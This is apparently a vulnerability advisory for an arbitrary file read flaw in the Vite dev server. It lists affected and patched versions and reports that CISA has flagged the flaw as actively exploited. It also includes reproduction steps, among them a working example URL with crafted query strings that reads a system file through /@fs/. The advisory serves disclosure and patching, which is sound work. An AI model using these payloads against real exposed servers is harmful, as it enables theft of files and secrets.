Vite Vitejs Improper Access Control Vulnerability. Actively exploited: CISA added this vulnerability to its Known Exploited Vulnerabilities catalog on 22/01/2026. Patch affected systems as an emergency.
| Package | Affected versions | Patched versions |
|---|---|---|
| vite | ≥ 5.0.0, < 5.4.16≥ 6.0.0, < 6.0.13≥ 6.1.0, < 6.1.3≥ 6.2.0, < 6.2.4< 4.5.11 | 5.4.166.0.136.1.36.2.44.5.11 |
| vite | ≥ 5.0.0, < 5.4.16≥ 6.0.0, < 6.0.13≥ 6.1.0, < 6.1.3≥ 6.2.0, < 6.2.4< 4.5.11 | 5.4.166.0.136.1.36.2.44.5.11 |
The contents of arbitrary files can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
?inline&import (originally reported as ?import&?inline=1.wasm?init)?raw?import/@fs/ isn't needed to reproduce the issue for files inside the project root.
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free